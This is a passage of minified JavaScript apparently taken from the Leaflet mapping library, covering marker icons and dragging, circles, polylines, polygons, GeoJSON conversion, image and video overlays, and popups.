i=this._layers[e];t.extend(i.getBounds?i.getBounds():i.getLatLng())}return t}});var Wi=function(t,e){return new Hi(t,e)};var qi=S.extend({options:{popupAnchor:[0,0],tooltipAnchor:[0,0]},initialize:function(t){f(this,t)},createIcon:function(t){return this._createIcon("icon",t)},createShadow:function(t){return this._createIcon("shadow",t)},_createIcon:function(t,e){var i=this._getIconUrl(t);if(!i){if(t==="icon"){throw new Error("iconUrl not set in Icon options (see the docs).")}return null}var n=this._createImg(i,e&&e.tagName==="IMG"?e:null);this._setIconStyles(n,t);return n},_setIconStyles:function(t,e){var i=this.options;var n=i[e+"Size"];if(typeof n==="number"){n=[n,n]}var o=A(n),s=A(e==="shadow"&&i.shadowAnchor||i.iconAnchor||o&&o.divideBy(2,true));t.className="leaflet-marker-"+e+" "+(i.className||"");if(s){t.style.marginLeft=-s.x+"px";t.style.marginTop=-s.y+"px"}if(o){t.style.width=o.x+"px";t.style.height=o.y+"px"}},_createImg:function(t,e){e=e||document.createElement("img");e.src=t;return e},_getIconUrl:function(t){return Mt&&this.options[t+"RetinaUrl"]||this.options[t+"Url"]}});function Vi(t){return new qi(t)}var Ki=qi.extend({options:{iconUrl:"marker-icon.png",iconRetinaUrl:"marker-icon-2x.png",shadowUrl:"marker-shadow.png",iconSize:[25,41],iconAnchor:[12,41],popupAnchor:[1,-34],tooltipAnchor:[16,-28],shadowSize:[41,41]},_getIconUrl:function(t){if(!Ki.imagePath){Ki.imagePath=this._detectIconPath()}return(this.options.imagePath||Ki.imagePath)+qi.prototype._getIconUrl.call(this,t)},_detectIconPath:function(){var t=oe("div","leaflet-default-icon-path",document.body);var e=ne(t,"background-image")||ne(t,"backgroundImage");document.body.removeChild(t);if(e===null||e.indexOf("url")!==0){e=""}else{e=e.replace(/^url\(["']?/,"").replace(/marker-icon\.png["']?\)$/,"")}return e}});var Yi=di.extend({initialize:function(t){this._marker=t},addHooks:function(){var t=this._marker._icon;if(!this._draggable){this._draggable=new gi(t,t,true)}this._draggable.on({dragstart:this._onDragStart,predrag:this._onPreDrag,drag:this._onDrag,dragend:this._onDragEnd},this).enable();ue(t,"leaflet-marker-draggable")},removeHooks:function(){this._draggable.off({dragstart:this._onDragStart,predrag:this._onPreDrag,drag:this._onDrag,dragend:this._onDragEnd},this).disable();if(this._marker._icon){ce(this._marker._icon,"leaflet-marker-draggable")}},moved:function(){return this._draggable&&this._draggable._moved},_adjustPan:function(t){var e=this._marker,i=e._map,n=this._marker.options.autoPanSpeed,o=this._marker.options.autoPanPadding,s=ye(e._icon),r=i.getPixelBounds(),a=i.getPixelOrigin();var h=R(r.min._subtract(a).add(o),r.max._subtract(a).subtract(o));if(!h.contains(s)){var l=A((Math.max(h.max.x,s.x)-h.max.x)/(r.max.x-h.max.x)-(Math.min(h.min.x,s.x)-h.min.x)/(r.min.x-h.min.x),(Math.max(h.max.y,s.y)-h.max.y)/(r.max.y-h.max.y)-(Math.min(h.min.y,s.y)-h.min.y)/(r.min.y-h.min.y)).multiplyBy(n);i.panBy(l,{animate:false});this._draggable._newPos._add(l);this._draggable._startPos._add(l);ve(e._icon,this._draggable._newPos);this._onDrag(t);this._panRequest=M(this._adjustPan.bind(this,t))}},_onDragStart:function(){this._oldLatLng=this._marker.getLatLng();this._marker.closePopup&&this._marker.closePopup();this._marker.fire("movestart").fire("dragstart")},_onPreDrag:function(t){if(this._marker.options.autoPan){T(this._panRequest);this._panRequest=M(this._adjustPan.bind(this,t))}},_onDrag:function(t){var e=this._marker,i=e._shadow,n=ye(e._icon),o=e._map.layerPointToLatLng(n);if(i){ve(i,n)}e._latlng=o;t.latlng=o;t.oldLatLng=this._oldLatLng;e.fire("move",t).fire("drag",t)},_onDragEnd:function(t){T(this._panRequest);delete this._oldLatLng;this._marker.fire("moveend").fire("dragend",t)}});var Ji=ji.extend({options:{icon:new Ki,interactive:true,keyboard:true,title:"",alt:"",zIndexOffset:0,opacity:1,riseOnHover:false,riseOffset:250,pane:"markerPane",shadowPane:"shadowPane",bubblingMouseEvents:false,draggable:false,autoPan:false,autoPanPadding:[50,50],autoPanSpeed:10},initialize:function(t,e){f(this,e);this._latlng=j(t)},onAdd:function(t){this._zoomAnimated=this._zoomAnimated&&t.options.markerZoomAnimation;if(this._zoomAnimated){t.on("zoomanim",this._animateZoom,this)}this._initIcon();this.update()},onRemove:function(t){if(this.dragging&&this.dragging.enabled()){this.options.draggable=true;this.dragging.removeHooks()}delete this.dragging;if(this._zoomAnimated){t.off("zoomanim",this._animateZoom,this)}this._removeIcon();this._removeShadow()},getEvents:function(){return{zoom:this.update,viewreset:this.update}},getLatLng:function(){return this._latlng},setLatLng:function(t){var e=this._latlng;this._latlng=j(t);this.update();return this.fire("move",{oldLatLng:e,latlng:this._latlng})},setZIndexOffset:function(t){this.options.zIndexOffset=t;return this.update()},getIcon:function(){return this.options.icon},setIcon:function(t){this.options.icon=t;if(this._map){this._initIcon();this.update()}if(this._popup){this.bindPopup(this._popup,this._popup.options)}return this},getElement:function(){return this._icon},update:function(){if(this._icon&&this._map){var t=this._map.latLngToLayerPoint(this._latlng).round();this._setPos(t)}return this},_initIcon:function(){var t=this.options,e="leaflet-zoom-"+(this._zoomAnimated?"animated":"hide");var i=t.icon.createIcon(this._icon),n=false;if(i!==this._icon){if(this._icon){this._removeIcon()}n=true;if(t.title){i.title=t.title}if(i.tagName==="IMG"){i.alt=t.alt||""}}ue(i,e);if(t.keyboard){i.tabIndex="0"}this._icon=i;if(t.riseOnHover){this.on({mouseover:this._bringToFront,mouseout:this._resetZIndex})}var o=t.icon.createShadow(this._shadow),s=false;if(o!==this._shadow){this._removeShadow();s=true}if(o){ue(o,e);o.alt=""}this._shadow=o;if(t.opacity<1){this._updateOpacity()}if(n){this.getPane().appendChild(this._icon)}this._initInteraction();if(o&&s){this.getPane(t.shadowPane).appendChild(this._shadow)}},_removeIcon:function(){if(this.options.riseOnHover){this.off({mouseover:this._bringToFront,mouseout:this._resetZIndex})}se(this._icon);this.removeInteractiveTarget(this._icon);this._icon=null},_removeShadow:function(){if(this._shadow){se(this._shadow)}this._shadow=null},_setPos:function(t){if(this._icon){ve(this._icon,t)}if(this._shadow){ve(this._shadow,t)}this._zIndex=t.y+this.options.zIndexOffset;this._resetZIndex()},_updateZIndex:function(t){if(this._icon){this._icon.style.zIndex=this._zIndex+t}},_animateZoom:function(t){var e=this._map._latLngToNewLayerPoint(this._latlng,t.zoom,t.center).round();this._setPos(e)},_initInteraction:function(){if(!this.options.interactive){return}ue(this._icon,"leaflet-interactive");this.addInteractiveTarget(this._icon);if(Yi){var t=this.options.draggable;if(this.dragging){t=this.dragging.enabled();this.dragging.disable()}this.dragging=new Yi(this);if(t){this.dragging.enable()}}},setOpacity:function(t){this.options.opacity=t;if(this._map){this._updateOpacity()}return this},_updateOpacity:function(){var t=this.options.opacity;if(this._icon){pe(this._icon,t)}if(this._shadow){pe(this._shadow,t)}},_bringToFront:function(){this._updateZIndex(this.options.riseOffset)},_resetZIndex:function(){this._updateZIndex(0)},_getPopupAnchor:function(){return this.options.icon.options.popupAnchor},_getTooltipAnchor:function(){return this.options.icon.options.tooltipAnchor}});function Xi(t,e){return new Ji(t,e)}var Qi=ji.extend({options:{stroke:true,color:"#3388ff",weight:3,opacity:1,lineCap:"round",lineJoin:"round",dashArray:null,dashOffset:null,fill:false,fillColor:null,fillOpacity:.2,fillRule:"evenodd",interactive:true,bubblingMouseEvents:true},beforeAdd:function(t){this._renderer=t.getRenderer(this)},onAdd:function(){this._renderer._initPath(this);this._reset();this._renderer._addPath(this)},onRemove:function(){this._renderer._removePath(this)},redraw:function(){if(this._map){this._renderer._updatePath(this)}return this},setStyle:function(t){f(this,t);if(this._renderer){this._renderer._updateStyle(this);if(this.options.stroke&&t&&Object.prototype.hasOwnProperty.call(t,"weight")){this._updateBounds()}}return this},bringToFront:function(){if(this._renderer){this._renderer._bringToFront(this)}return this},bringToBack:function(){if(this._renderer){this._renderer._bringToBack(this)}return this},getElement:function(){return this._path},_reset:function(){this._project();this._update()},_clickTolerance:function(){return(this.options.stroke?this.options.weight/2:0)+this._renderer.options.tolerance}});var $i=Qi.extend({options:{fill:true,radius:10},initialize:function(t,e){f(this,e);this._latlng=j(t);this._radius=this.options.radius},setLatLng:function(t){var e=this._latlng;this._latlng=j(t);this.redraw();return this.fire("move",{oldLatLng:e,latlng:this._latlng})},getLatLng:function(){return this._latlng},setRadius:function(t){this.options.radius=this._radius=t;return this.redraw()},getRadius:function(){return this._radius},setStyle:function(t){var e=t&&t.radius||this._radius;Qi.prototype.setStyle.call(this,t);this.setRadius(e);return this},_project:function(){this._point=this._map.latLngToLayerPoint(this._latlng);this._updateBounds()},_updateBounds:function(){var t=this._radius,e=this._radiusY||t,i=this._clickTolerance(),n=[t+i,e+i];this._pxBounds=new O(this._point.subtract(n),this._point.add(n))},_update:function(){if(this._map){this._updatePath()}},_updatePath:function(){this._renderer._updateCircle(this)},_empty:function(){return this._radius&&!this._renderer._bounds.intersects(this._pxBounds)},_containsPoint:function(t){return t.distanceTo(this._point)<=this._radius+this._clickTolerance()}});function tn(t,e){return new $i(t,e)}var en=$i.extend({initialize:function(t,e,n){if(typeof e==="number"){e=i({},n,{radius:e})}f(this,e);this._latlng=j(t);if(isNaN(this.options.radius)){throw new Error("Circle radius cannot be NaN")}this._mRadius=this.options.radius},setRadius:function(t){this._mRadius=t;return this.redraw()},getRadius:function(){return this._mRadius},getBounds:function(){var t=[this._radius,this._radiusY||this._radius];return new N(this._map.layerPointToLatLng(this._point.subtract(t)),this._map.layerPointToLatLng(this._point.add(t)))},setStyle:Qi.prototype.setStyle,_project:function(){var t=this._latlng.lng,e=this._latlng.lat,i=this._map,n=i.options.crs;if(n.distance===G.distance){var o=Math.PI/180,s=this._mRadius/G.R/o,r=i.project([e+s,t]),a=i.project([e-s,t]),h=r.add(a).divideBy(2),l=i.unproject(h).lat,u=Math.acos((Math.cos(s*o)-Math.sin(e*o)*Math.sin(l*o))/(Math.cos(e*o)*Math.cos(l*o)))/o;if(isNaN(u)||u===0){u=s/Math.cos(Math.PI/180*e)}this._point=h.subtract(i.getPixelOrigin());this._radius=isNaN(u)?0:h.x-i.project([l,t-u]).x;this._radiusY=h.y-r.y}else{var c=n.unproject(n.project(this._latlng).subtract([this._mRadius,0]));this._point=i.latLngToLayerPoint(this._latlng);this._radius=this._point.x-i.latLngToLayerPoint(c).x}this._updateBounds()}});function nn(t,e,i){return new en(t,e,i)}var on=Qi.extend({options:{smoothFactor:1,noClip:false},initialize:function(t,e){f(this,e);this._setLatLngs(t)},getLatLngs:function(){return this._latlngs},setLatLngs:function(t){this._setLatLngs(t);return this.redraw()},isEmpty:function(){return!this._latlngs.length},closestLayerPoint:function(t){var e=Infinity,i=null,n=Si,o,s;for(var r=0,a=this._parts.length;r<a;r++){var h=this._parts[r];for(var l=1,u=h.length;l<u;l++){o=h[l-1];s=h[l];var c=n(t,o,s,true);if(c<e){e=c;i=n(t,o,s)}}}if(i){i.distance=Math.sqrt(e)}return i},getCenter:function(){if(!this._map){throw new Error("Must add layer to map before using getCenter()")}var t,e,i,n,o,s,r,a=this._rings[0],h=a.length;if(!h){return null}for(t=0,e=0;t<h-1;t++){e+=a[t].distanceTo(a[t+1])/2}if(e===0){return this._map.layerPointToLatLng(a[0])}for(t=0,n=0;t<h-1;t++){o=a[t];s=a[t+1];i=o.distanceTo(s);n+=i;if(n>e){r=(n-e)/i;return this._map.layerPointToLatLng([s.x-r*(s.x-o.x),s.y-r*(s.y-o.y)])}}},getBounds:function(){return this._bounds},addLatLng:function(t,e){e=e||this._defaultShape();t=j(t);e.push(t);this._bounds.extend(t);return this.redraw()},_setLatLngs:function(t){this._bounds=new N;this._latlngs=this._convertLatLngs(t)},_defaultShape:function(){return zi(this._latlngs)?this._latlngs:this._latlngs[0]},_convertLatLngs:function(t){var e=[],i=zi(t);for(var n=0,o=t.length;n<o;n++){if(i){e[n]=j(t[n]);this._bounds.extend(e[n])}else{e[n]=this._convertLatLngs(t[n])}}return e},_project:function(){var t=new O;this._rings=[];this._projectLatlngs(this._latlngs,this._rings,t);if(this._bounds.isValid()&&t.isValid()){this._rawPxBounds=t;this._updateBounds()}},_updateBounds:function(){var t=this._clickTolerance(),e=new B(t,t);this._pxBounds=new O([this._rawPxBounds.min.subtract(e),this._rawPxBounds.max.add(e)])},_projectLatlngs:function(t,e,i){var n=t[0]instanceof U,o=t.length,s,r;if(n){r=[];for(s=0;s<o;s++){r[s]=this._map.latLngToLayerPoint(t[s]);i.extend(r[s])}e.push(r)}else{for(s=0;s<o;s++){this._projectLatlngs(t[s],e,i)}}},_clipPoints:function(){var t=this._renderer._bounds;this._parts=[];if(!this._pxBounds||!this._pxBounds.intersects(t)){return}if(this.options.noClip){this._parts=this._rings;return}var e=this._parts,i,n,o,s,r,a,h;for(i=0,o=0,s=this._rings.length;i<s;i++){h=this._rings[i];for(n=0,r=h.length;n<r-1;n++){a=Ci(h[n],h[n+1],t,n,true);if(!a){continue}e[o]=e[o]||[];e[o].push(a[0]);if(a[1]!==h[n+1]||n===r-2){e[o].push(a[1]);o++}}}},_simplifyPoints:function(){var t=this._parts,e=this.options.smoothFactor;for(var i=0,n=t.length;i<n;i++){t[i]=vi(t[i],e)}},_update:function(){if(!this._map){return}this._clipPoints();this._simplifyPoints();this._updatePath()},_updatePath:function(){this._renderer._updatePoly(this)},_containsPoint:function(t,e){var i,n,o,s,r,a,h=this._clickTolerance();if(!this._pxBounds||!this._pxBounds.contains(t)){return false}for(i=0,s=this._parts.length;i<s;i++){a=this._parts[i];for(n=0,r=a.length,o=r-1;n<r;o=n++){if(!e&&n===0){continue}if(yi(t,a[o],a[n])<=h){return true}}}return false}});function sn(t,e){return new on(t,e)}on._flat=Ei;var rn=on.extend({options:{fill:true},isEmpty:function(){return!this._latlngs.length||!this._latlngs[0].length},getCenter:function(){if(!this._map){throw new Error("Must add layer to map before using getCenter()")}var t,e,i,n,o,s,r,a,h,l=this._rings[0],u=l.length;if(!u){return null}s=r=a=0;for(t=0,e=u-1;t<u;e=t++){i=l[t];n=l[e];o=i.y*n.x-n.y*i.x;r+=(i.x+n.x)*o;a+=(i.y+n.y)*o;s+=o*3}if(s===0){h=l[0]}else{h=[r/s,a/s]}return this._map.layerPointToLatLng(h)},_convertLatLngs:function(t){var e=on.prototype._convertLatLngs.call(this,t),i=e.length;if(i>=2&&e[0]instanceof U&&e[0].equals(e[i-1])){e.pop()}return e},_setLatLngs:function(t){on.prototype._setLatLngs.call(this,t);if(zi(this._latlngs)){this._latlngs=[this._latlngs]}},_defaultShape:function(){return zi(this._latlngs[0])?this._latlngs[0]:this._latlngs[0][0]},_clipPoints:function(){var t=this._renderer._bounds,e=this.options.weight,i=new B(e,e);t=new O(t.min.subtract(i),t.max.add(i));this._parts=[];if(!this._pxBounds||!this._pxBounds.intersects(t)){return}if(this.options.noClip){this._parts=this._rings;return}for(var n=0,o=this._rings.length,s;n<o;n++){s=Bi(this._rings[n],t,true);if(s.length){this._parts.push(s)}}},_updatePath:function(){this._renderer._updatePoly(this,true)},_containsPoint:function(t){var e=false,i,n,o,s,r,a,h,l;if(!this._pxBounds||!this._pxBounds.contains(t)){return false}for(s=0,h=this._parts.length;s<h;s++){i=this._parts[s];for(r=0,l=i.length,a=l-1;r<l;a=r++){n=i[r];o=i[a];if(n.y>t.y!==o.y>t.y&&t.x<(o.x-n.x)*(t.y-n.y)/(o.y-n.y)+n.x){e=!e}}}return e||on.prototype._containsPoint.call(this,t,true)}});function an(t,e){return new rn(t,e)}var hn=Hi.extend({initialize:function(t,e){f(this,e);this._layers={};if(t){this.addData(t)}},addData:function(t){var e=g(t)?t:t.features,i,n,o;if(e){for(i=0,n=e.length;i<n;i++){o=e[i];if(o.geometries||o.geometry||o.features||o.coordinates){this.addData(o)}}return this}var s=this.options;if(s.filter&&!s.filter(t)){return this}var r=ln(t,s);if(!r){return this}r.feature=mn(t);r.defaultOptions=r.options;this.resetStyle(r);if(s.onEachFeature){s.onEachFeature(t,r)}return this.addLayer(r)},resetStyle:function(t){if(t===undefined){return this.eachLayer(this.resetStyle,this)}t.options=i({},t.defaultOptions);this._setLayerStyle(t,this.options.style);return this},setStyle:function(t){return this.eachLayer((function(e){this._setLayerStyle(e,t)}),this)},_setLayerStyle:function(t,e){if(t.setStyle){if(typeof e==="function"){e=e(t.feature)}t.setStyle(e)}}});function ln(t,e){var i=t.type==="Feature"?t.geometry:t,n=i?i.coordinates:null,o=[],s=e&&e.pointToLayer,r=e&&e.coordsToLatLng||cn,a,h,l,u;if(!n&&!i){return null}switch(i.type){case"Point":a=r(n);return un(s,t,a,e);case"MultiPoint":for(l=0,u=n.length;l<u;l++){a=r(n[l]);o.push(un(s,t,a,e))}return new Hi(o);case"LineString":case"MultiLineString":h=dn(n,i.type==="LineString"?0:1,r);return new on(h,e);case"Polygon":case"MultiPolygon":h=dn(n,i.type==="Polygon"?1:2,r);return new rn(h,e);case"GeometryCollection":for(l=0,u=i.geometries.length;l<u;l++){var c=ln({geometry:i.geometries[l],type:"Feature",properties:t.properties},e);if(c){o.push(c)}}return new Hi(o);default:throw new Error("Invalid GeoJSON object.")}}function un(t,e,i,n){return t?t(e,i):new Ji(i,n&&n.markersInheritOptions&&n)}function cn(t){return new U(t[1],t[0],t[2])}function dn(t,e,i){var n=[];for(var o=0,s=t.length,r;o<s;o++){r=e?dn(t[o],e-1,i):(i||cn)(t[o]);n.push(r)}return n}function fn(t,e){e=typeof e==="number"?e:6;return t.alt!==undefined?[u(t.lng,e),u(t.lat,e),u(t.alt,e)]:[u(t.lng,e),u(t.lat,e)]}function pn(t,e,i,n){var o=[];for(var s=0,r=t.length;s<r;s++){o.push(e?pn(t[s],e-1,i,n):fn(t[s],n))}if(!e&&i){o.push(o[0])}return o}function _n(t,e){return t.feature?i({},t.feature,{geometry:e}):mn(e)}function mn(t){if(t.type==="Feature"||t.type==="FeatureCollection"){return t}return{type:"Feature",properties:{},geometry:t}}var gn={toGeoJSON:function(t){return _n(this,{type:"Point",coordinates:fn(this.getLatLng(),t)})}};Ji.include(gn);en.include(gn);$i.include(gn);on.include({toGeoJSON:function(t){var e=!zi(this._latlngs);var i=pn(this._latlngs,e?1:0,false,t);return _n(this,{type:(e?"Multi":"")+"LineString",coordinates:i})}});rn.include({toGeoJSON:function(t){var e=!zi(this._latlngs),i=e&&!zi(this._latlngs[0]);var n=pn(this._latlngs,i?2:e?1:0,true,t);if(!e){n=[n]}return _n(this,{type:(i?"Multi":"")+"Polygon",coordinates:n})}});Fi.include({toMultiPoint:function(t){var e=[];this.eachLayer((function(i){e.push(i.toGeoJSON(t).geometry.coordinates)}));return _n(this,{type:"MultiPoint",coordinates:e})},toGeoJSON:function(t){var e=this.feature&&this.feature.geometry&&this.feature.geometry.type;if(e==="MultiPoint"){return this.toMultiPoint(t)}var i=e==="GeometryCollection",n=[];this.eachLayer((function(e){if(e.toGeoJSON){var o=e.toGeoJSON(t);if(i){n.push(o.geometry)}else{var s=mn(o);if(s.type==="FeatureCollection"){n.push.apply(n,s.features)}else{n.push(s)}}}}));if(i){return _n(this,{geometries:n,type:"GeometryCollection"})}return{type:"FeatureCollection",features:n}}});function vn(t,e){return new hn(t,e)}var yn=vn;var Ln=ji.extend({options:{opacity:1,alt:"",interactive:false,crossOrigin:false,errorOverlayUrl:"",zIndex:1,className:""},initialize:function(t,e,i){this._url=t;this._bounds=D(e);f(this,i)},onAdd:function(){if(!this._image){this._initImage();if(this.options.opacity<1){this._updateOpacity()}}if(this.options.interactive){ue(this._image,"leaflet-interactive");this.addInteractiveTarget(this._image)}this.getPane().appendChild(this._image);this._reset()},onRemove:function(){se(this._image);if(this.options.interactive){this.removeInteractiveTarget(this._image)}},setOpacity:function(t){this.options.opacity=t;if(this._image){this._updateOpacity()}return this},setStyle:function(t){if(t.opacity){this.setOpacity(t.opacity)}return this},bringToFront:function(){if(this._map){ae(this._image)}return this},bringToBack:function(){if(this._map){he(this._image)}return this},setUrl:function(t){this._url=t;if(this._image){this._image.src=t}return this},setBounds:function(t){this._bounds=D(t);if(this._map){this._reset()}return this},getEvents:function(){var t={zoom:this._reset,viewreset:this._reset};if(this._zoomAnimated){t.zoomanim=this._animateZoom}return t},setZIndex:function(t){this.options.zIndex=t;this._updateZIndex();return this},getBounds:function(){return this._bounds},getElement:function(){return this._image},_initImage:function(){var t=this._url.tagName==="IMG";var e=this._image=t?this._url:oe("img");ue(e,"leaflet-image-layer");if(this._zoomAnimated){ue(e,"leaflet-zoom-animated")}if(this.options.className){ue(e,this.options.className)}e.onselectstart=l;e.onmousemove=l;e.onload=o(this.fire,this,"load");e.onerror=o(this._overlayOnError,this,"error");if(this.options.crossOrigin||this.options.crossOrigin===""){e.crossOrigin=this.options.crossOrigin===true?"":this.options.crossOrigin}if(this.options.zIndex){this._updateZIndex()}if(t){this._url=e.src;return}e.src=this._url;e.alt=this.options.alt},_animateZoom:function(t){var e=this._map.getZoomScale(t.zoom),i=this._map._latLngBoundsToNewLayerBounds(this._bounds,t.zoom,t.center).min;ge(this._image,i,e)},_reset:function(){var t=this._image,e=new O(this._map.latLngToLayerPoint(this._bounds.getNorthWest()),this._map.latLngToLayerPoint(this._bounds.getSouthEast())),i=e.getSize();ve(t,e.min);t.style.width=i.x+"px";t.style.height=i.y+"px"},_updateOpacity:function(){pe(this._image,this.options.opacity)},_updateZIndex:function(){if(this._image&&this.options.zIndex!==undefined&&this.options.zIndex!==null){this._image.style.zIndex=this.options.zIndex}},_overlayOnError:function(){this.fire("error");var t=this.options.errorOverlayUrl;if(t&&this._url!==t){this._url=t;this._image.src=t}}});var xn=function(t,e,i){return new Ln(t,e,i)};var wn=Ln.extend({options:{autoplay:true,loop:true,keepAspectRatio:true,muted:false},_initImage:function(){var t=this._url.tagName==="VIDEO";var e=this._image=t?this._url:oe("video");ue(e,"leaflet-image-layer");if(this._zoomAnimated){ue(e,"leaflet-zoom-animated")}if(this.options.className){ue(e,this.options.className)}e.onselectstart=l;e.onmousemove=l;e.onloadeddata=o(this.fire,this,"load");if(t){var i=e.getElementsByTagName("source");var n=[];for(var s=0;s<i.length;s++){n.push(i[s].src)}this._url=i.length>0?n:[e.src];return}if(!g(this._url)){this._url=[this._url]}if(!this.options.keepAspectRatio&&Object.prototype.hasOwnProperty.call(e.style,"objectFit")){e.style["objectFit"]="fill"}e.autoplay=!!this.options.autoplay;e.loop=!!this.options.loop;e.muted=!!this.options.muted;for(var r=0;r<this._url.length;r++){var a=oe("source");a.src=this._url[r];e.appendChild(a)}}});function bn(t,e,i){return new wn(t,e,i)}var Pn=Ln.extend({_initImage:function(){var t=this._image=this._url;ue(t,"leaflet-image-layer");if(this._zoomAnimated){ue(t,"leaflet-zoom-animated")}if(this.options.className){ue(t,this.options.className)}t.onselectstart=l;t.onmousemove=l}});function Cn(t,e,i){return new Pn(t,e,i)}var Mn=ji.extend({options:{offset:[0,7],className:"",pane:"popupPane"},initialize:function(t,e){f(this,t);this._source=e},onAdd:function(t){this._zoomAnimated=t._zoomAnimated;if(!this._container){this._initLayout()}if(t._fadeAnimated){pe(this._container,0)}clearTimeout(this._removeTimeout);this.getPane().appendChild(this._container);this.update();if(t._fadeAnimated){pe(this._container,1)}this.bringToFront()},onRemove:function(t){if(t._fadeAnimated){pe(this._container,0);this._removeTimeout=setTimeout(o(se,undefined,this._container),200)}else{se(this._container)}},getLatLng:function(){return this._latlng},setLatLng:function(t){this._latlng=j(t);if(this._map){this._updatePosition();this._adjustPan()}return this},getContent:function(){return this._content},setContent:function(t){this._content=t;this.update();return this},getElement:function(){return this._container},update:function(){if(!this._map){return}this._container.style.visibility="hidden";this._updateContent();this._updateLayout();this._updatePosition();this._container.style.visibility="";this._adjustPan()},getEvents:function(){var t={zoom:this._updatePosition,viewreset:this._updatePosition};if(this._zoomAnimated){t.zoomanim=this._animateZoom}return t},isOpen:function(){return!!this._map&&this._map.hasLayer(this)},bringToFront:function(){if(this._map){ae(this._container)}return this},bringToBack:function(){if(this._map){he(this._container)}return this},_prepareOpen:function(t,e,i){if(!(e instanceof ji)){i=e;e=t}if(e instanceof Hi){for(var n in t._layers){e=t._layers[n];break}}if(!i){if(e.getCenter){i=e.getCenter()}else if(e.getLatLng){i=e.getLatLng()}else{throw new Error("Unable to get source layer LatLng.")}}this._source=e;this.update();return i},_updateContent:function(){if(!this._content){return}var t=this._contentNode;var e=typeof this._content==="function"?this._content(this._source||this):this._content;if(typeof e==="string"){t.innerHTML=e}else{while(t.hasChildNodes()){t.removeChild(t.firstChild)}t.appendChild(e)}this.fire("contentupdate")},_updatePosition:function(){if(!this._map){return}var t=this._map.latLngToLayerPoint(this._latlng),e=A(this.options.offset),i=this._getAnchor();if(this._zoomAnimated){ve(this._container,t.add(i))}else{e=e.add(t).add(i)}var n=this._containerBottom=-e.y,o=this._containerLeft=-Math.round(this._containerWidth/2)+e.x;this._container.style.bottom=n+"px";this._container.style.left=o+"px"},_getAnchor:function(){return[0,0]}});var Tn=Mn.extend({options:{maxWidth:300,minWidth:50,maxHeight:null,autoPan:true,autoPanPaddingTopLeft:null,autoPanPaddingBottomRight:null,autoPanPadding:[5,5],keepInView:false,closeButton:true,autoClose:true,closeOnEscapeKey:true,className:""},openOn:function(t){t.openPopup(this);return this},onAdd:function(t){Mn.prototype.onAdd.call(this,t);t.fire("popupopen",{popup:this});if(this._source){this._source.fire("popupopen",{popup:this},true);if(!(this._source instanceof Qi)){this._source.on("preclick",Ue)}}},onRemove:function(t){Mn.prototype.onRemove.call(this,t);t.fire("popupclose",{popup:this});if(this._source){this._source.fire("popupclose",{popup:this},true);if(!(this._source instanceof Qi)){this._source.off("preclick",Ue)}}},getEvents:function(){var t=Mn.prototype.getEvents.call(this);if(this.options.closeOnClick!==undefined?this.options.closeOnClick:this._map.options.closePopupOnClick){t.preclick=this._close}if(this.options.keepInView){t.moveend=this._adjustPan}return t},_close:function(){if(this._map){this._map.closePopup(this)}},_initLayout:function(){var t="leaflet-popup",e=this._container=oe("div",t+" "+(this.options.className||"")+" leaflet-zoom-animated");var i=this._wrapper=oe("div",t+"-content-wrapper",e);this._contentNode=oe("div",t+"-content",i);Fe(e);je(this._contentNode);Be(e,"contextmenu",Ue);this._tipContainer=oe("div",t+"-tip-container",e);this._tip=oe("div",t+"-tip",this._tipContainer);if(this.options.closeButton){var n=this._closeButton=oe("a",t+"-close-button",e);n.href="#close";n.innerHTML="×";Be(n,"click",this._onCloseButtonClick,this)}},_updateLayout:function(){var t=this._contentNode,e=t.style;e.width="";e.whiteSpace="nowrap";var i=t.offsetWidth;i=Math.min(i,this.options.maxWidth);i=Math.max(i,this.options.minWidth);e.width=i+1+"px";e.whiteSpace="";e.height="";var n=t.offsetHeight,o=this.options.maxHeight,s="leaflet-popup-scrolled";if(o&&n>o){e.height=o+"px";ue(t,s)}else{ce(t,s)}this._containerWidth=this._container.offsetWidth},_animateZoom:function(t){var e=this._map._latLngToNewLayerPoint(this._latlng,t.zoom,t.center),i=this._getAnchor();ve(this._container,e.add(i))},_adjustPan:function(){if(!this.options.autoPan){return}if(this._map._panAnim){this._map._panAnim.stop()}var t=this._map,e=parseInt(ne(this._container,"marginBottom"),10)||0,i=this._container.offsetHeight+e,n=this._containerWidth,o=new B(this._containerLeft,-i-this._containerBottom);o._add(ye(this._container));var s=t.layerPointToContainerPoint(o),r=A(this.options.autoPanPadding),a=A(this.options.autoPanPaddingTopLeft||r),h=A(this.options.autoPanPaddingBottomRight||r),l=t.getSize(),u=0,c=0;if(s.x+n+h.x>l.x){u=s.x+n-l.x+h.x}if(s.x-u-a.x<0){u=s.x-a.x}if(s.y+i+h.y>l.y){c=s.y+i-l.y+h.y}if(s.y-c-a.y<0){c=s.y-a.y}if(u||c){t.fire("autopanstart").panBy([u,c])}},_onCloseButtonClick:function(t){this._close();He(t)},_getAnchor:function(){return A(this._source&&this._source._getPopupAnchor?this._source._getPopupAnchor():[0,0])}});var kn=function(t,e){return new Tn(t,e)};ti.mergeOptions({closePopupOnClick:true});ti.include({openPopup:function(t,e,i){if(!(t instanceof Tn)){t=new Tn(i).setContent(t)}if(e){t.setLatLng(e)}if(this.hasLayer(t)){return this}if(this._popup&&this._popup.options.autoClose){this.closePopup()}this._popup=t;return this.addLayer(t)},closePopup:function(t){if(!t||t===this._popup){t=this._popup;this._popup=null}if(t){this.removeLayer(t)}return this}});ji.include({bindPopup:function(t,e){if(t instanceof Tn){f(t,e);this._popup=t;t._source=this}else{if(!this._popup||e){this._popup=new Tn(e,this)}this._popup.setContent(t)}if(!this._popupHandlersAdded){this.on({click:this._openPopup,keypress:this._onKeyPress,remove:this.closePopup,move:this._movePopup});this._popupHandlersAdded=true}return this},unbindPopup:function(){if(this._popup){this.off({click:this._openPopup,keypress:this._onKeyPress,remove:this.closePopup,move:this._movePopup});this._popupHandlersAdded=false;this._popup=null}return this},openPopup:function(t,e){if(this._popup&&this._map){e=this._popup._prepareOpen(this,t,e);this._map.openPopup(this._popup,e)}return this},closePopup:function(){if(this._popup){this._popup._close()}return this},togglePopup:function(t){if(this._popup){if(this._popup._map){this.closePopup()}else{this.openPopup(t)}}return this},isPopupOpen:function(){return this._popup?this._popup.isOpen():false},setPopupContent:function(t){if(this._popup){this._popup.setContent(t)}return this},getPopup:function(){return this._popup},_openPopup:function(t){var e=t.layer||t.target;if(!this._popup){return}if(!this._map){return}He(t);if(e instanceof 